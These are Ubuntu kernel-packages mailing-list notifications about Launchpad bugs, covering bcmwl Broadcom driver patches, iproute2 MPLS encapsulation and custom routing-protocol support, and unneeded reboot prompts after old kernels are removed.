** Project changed: dell-sputnik => ubuntu-translations ** No longer affects: ubuntu-translations -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1415880 Title: 14e4:4365 bcmwl-kernel source: fix for null pointer crash Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Won't Fix Status in bcmwl source package in Trusty: Fix Committed Status in bcmwl source package in Vivid: Won't Fix Status in bcmwl source package in Wily: Fix Released Bug description: [Impact] * bcmwl does not compile on new kernels (or HWE kernels) * bcmwl suffers from null reference bug [Test Case] * public PPA provided to community and feedback * based on patch available to other distros * comment #42 [Regression Potential] * for changes on kernel support it may not compile (tested with 3.2, 3.13, 3.18 and 4.2) * for the null reference change -> proved to fix problem for community based on feedback [Other Info] Original bug description: The bcmwl package as of now misses one patch for a bug that occurs with BCM43142 and possibly other broadcom chipsets that will look like random disconnects, poor wifi signal and kernel warnings, See also #1379524. Adding the patch is a fairly simple process: * put the patch file in /usr/src/bcmwl-6.30.223.248+bdcom/patches * add the following line to /usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf PATCH[7]="0014-null-pointer-crash.patch" * run: /usr/lib/dkms/common.postinst bcmwl 6.30.223.248+bdcom /usr/share/bcmwl x86_64 $(uname -r) This has fixed the issue for me. Edit: I just wanted to add that I did not write the patch; I merely downloaded it from a paste that was linked from the respective AUR package. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 [modified: usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf] ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Jan 29 13:15:17 2015 InstallationDate: Installed on 2015-01-26 (3 days ago) InstallationMedia: Lubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: bcmwl UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1415880/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1397028] Re: Add support for the backported lts-utopic stack
** Changed in: bcmwl (Ubuntu) Status: Invalid => Fix Released ** Changed in: bcmwl (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1397028 Title: Add support for the backported lts-utopic stack Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Fix Released Status in bcmwl source package in Trusty: Fix Released Bug description: SRU request: [Impact] * As a result of this bug, bcmwl-kernel-source will fail to build the module against linux-generic-lts-utopic in Ubuntu 14.04.2. [Test Case] * Enable the trusty-proposed repository and install bcmwl-kernel- source (6.30.223.248+bdcom-0ubuntu0.1). * Install linux-generic-lts-utopic * If the package installs without errors from DKMS with both the linux-generic and linux-generic-lts-utopic kernels, then the patches work correctly. [Regression Potential] * The patches that I backported from 15.04 will preserve the current driver behaviour on linux-generic (3.13) and linux-generic-lts-utopic (3.16), thanks to the use of specific macros in the code which check the kernel version. As a result, no regressions of any kind can be expected on these kernels. As a plus, support for kernels up to 3.18 is also included. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1397028/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1771764] Re: iproute2: unable to add ip lwt mpls route on xenial
** Tags added: patch-accepted-upstream -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1771764 Title: iproute2: unable to add ip lwt mpls route on xenial Status in iproute2 package in Ubuntu: Triaged Bug description: The following command does not work: $ ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 Error: "nexthop" or end of line is expected instead of "encap" In fact, iproute2 version points to v4.3.0, but the xenial kernel is a 4.4. $ ip -V ip utility, iproute2-ss151103 => https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=6720eceff7b4 With an iproute2 v4.4.0 (iproute2-ss160111), that command works: $ modprobe mpls_iptunnel $ ./ip/ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 $ ./ip/ip r [snip] 10.201.0.0/24 encap mpls 300 via 10.200.0.1 dev ntfp2 At least, this patch is missing: 1e5293056a02 ("lwtunnel: Add encapsulation support to ip route") https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=1e5293056a02 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1771764/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1771783] Re: iproute2: frr route protocols are not converted to string on xenial
** Tags added: xenial ** Changed in: iproute2 (Ubuntu) Importance: Undecided => Wishlist ** Tags added: patch-accepted-upstream -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1771783 Title: iproute2: frr route protocols are not converted to string on xenial Status in iproute2 package in Ubuntu: New Bug description: FRR puts its own proto numbers when inserting a route, example: $ ip route [snip] 2.2.2.0/24 via 3.3.3.2 dev eth2 proto 188 metric 20 iproute2 defines some protocols, but not all: https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/tree/etc/iproute2/rt_protos A patch has been pushed upstream so that external applications can define their protocols numbers: 719e331ff619 ("Add support for rt_protos.d") https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=719e331ff619 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1771783/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1458204] Re: removing kernels should not require a restart afterward
** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Artful) ** Project changed: unattended-upgrades => ubuntu-translations ** No longer affects: ubuntu-translations ** Project changed: update-notifier => ubuntu-translations ** No longer affects: ubuntu-translations ** Changed in: unattended-upgrades (Ubuntu Xenial) Importance: Undecided => Low ** Changed in: update-notifier (Ubuntu Xenial) Importance: Undecided => Low -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1458204 Title: removing kernels should not require a restart afterward Status in unattended-upgrades package in Ubuntu: Fix Released Status in update-notifier package in Ubuntu: Fix Released Status in unattended-upgrades source package in Xenial: Fix Committed Status in update-notifier source package in Xenial: Fix Released Status in unattended-upgrades source package in Artful: Won't Fix Status in update-notifier source package in Artful: Won't Fix Bug description: [Impact] The rationale behind the SRU to Xenial is that with latest unattended- upgrades SRU it starts removing unused kernels, but all older kernels are not removed in a single run. With update-notifier and u-u not fixed they place /var/run/reboot-required asking for a reboot when it is not needed. [Test Case] 1. Perform a kernel upgrade normally via "apt-get dist-upgrade". 2. Reboot. 3. Run "apt-get autoremove" to delete the old kernel packages. 4. "System Notification Helper" now reports that the computer requires a reboot. The "autoremove" operation shouldn't require a reboot, logically speaking, because it's just removing files that are unused by the OS. [ Regression Potential ] If the check for skipping placing the /var/run/reboot-required file is too broad it may make kernel upgrades fail to ask for reboot. The fix changes a hook called by maintainer scripts and a failure in the hook can make kernel package installations fail. The fix is simple and was tested in several releases thus regressing in these ways is unlikely. [ Original Bug Text ] ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: apt 1.0.1ubuntu2.7 ProcVersionSignature: Ubuntu 3.13.0-53.89-generic 3.13.11-ckt19 Uname: Linux 3.13.0-53-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CurrentDesktop: KDE Date: Sat May 23 12:47:15 2015 InstallationDate: Installed on 2013-08-31 (629 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) SourcePackage: apt UpgradeStatus: Upgraded to trusty on 2014-04-26 (391 days ago) --- ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CurrentDesktop: KDE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=66f11ff7-00bb-4452-9168-003cf9078308 InstallationDate: Installed on 2013-08-31 (632 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MachineType: System manufacturer System Product Name Package: linux (not installed) ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-53-generic root=UUID=02741f1f-8107-4a0f-b9a6-31ef470b1389 ro libata.force=noncq quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.13.0-53.89-generic 3.13.11-ckt19 RelatedPackageVersions: linux-restricted-modules-3.13.0-53-generic N/A linux-backports-modules-3.13.0-53-generic N/A linux-firmware 1.127.12 RfKill: Tags: trusty Uname: Linux 3.13.0-53-generic x86_64 UpgradeStatus: Upgraded to trusty on 2014-04-26 (395 days ago) UserGroups: adm cdrom dialout dip fuse lightdm lpadmin plugdev sambashare sudo WifiSyslog: _MarkForUpload: True dmi.bios.date: 08/12/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4210 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P9X79 dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4210:bd08/12/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP9X79:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1458204/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1771764] Re: iproute2: unable to add ip lwt mpls route on xenial
** Also affects: iproute2 (Ubuntu Xenial) Importance: Undecided Status: New ** Changed in: iproute2 (Ubuntu) Status: Triaged => Fix Released ** Changed in: iproute2 (Ubuntu Xenial) Importance: Undecided => Wishlist ** Changed in: iproute2 (Ubuntu Xenial) Status: New => Triaged ** Summary changed: - iproute2: unable to add ip lwt mpls route on xenial + Add encapsulation support to ip route -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1771764 Title: Add encapsulation support to ip route Status in iproute2 package in Ubuntu: Fix Released Status in iproute2 source package in Xenial: Triaged Bug description: The following command does not work: $ ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 Error: "nexthop" or end of line is expected instead of "encap" In fact, iproute2 version points to v4.3.0, but the xenial kernel is a 4.4. $ ip -V ip utility, iproute2-ss151103 => https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=6720eceff7b4 With an iproute2 v4.4.0 (iproute2-ss160111), that command works: $ modprobe mpls_iptunnel $ ./ip/ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 $ ./ip/ip r [snip] 10.201.0.0/24 encap mpls 300 via 10.200.0.1 dev ntfp2 At least, this patch is missing: 1e5293056a02 ("lwtunnel: Add encapsulation support to ip route") https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=1e5293056a02 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1771764/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1771783] Re: iproute2: frr route protocols are not converted to string on xenial
** Also affects: iproute2 (Ubuntu Xenial) Importance: Undecided Status: New ** Changed in: iproute2 (Ubuntu Xenial) Status: New => Triaged ** Changed in: iproute2 (Ubuntu Xenial) Importance: Undecided => Wishlist ** Changed in: iproute2 (Ubuntu) Status: New => Fix Released ** Summary changed: - iproute2: frr route protocols are not converted to string on xenial + Add support for custom protocols from rt_protos.d -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1771783 Title: Add support for custom protocols from rt_protos.d Status in iproute2 package in Ubuntu: Fix Released Status in iproute2 source package in Xenial: Triaged Bug description: FRR puts its own proto numbers when inserting a route, example: $ ip route [snip] 2.2.2.0/24 via 3.3.3.2 dev eth2 proto 188 metric 20 iproute2 defines some protocols, but not all: https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/tree/etc/iproute2/rt_protos A patch has been pushed upstream so that external applications can define their protocols numbers: 719e331ff619 ("Add support for rt_protos.d") https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=719e331ff619 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1771783/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp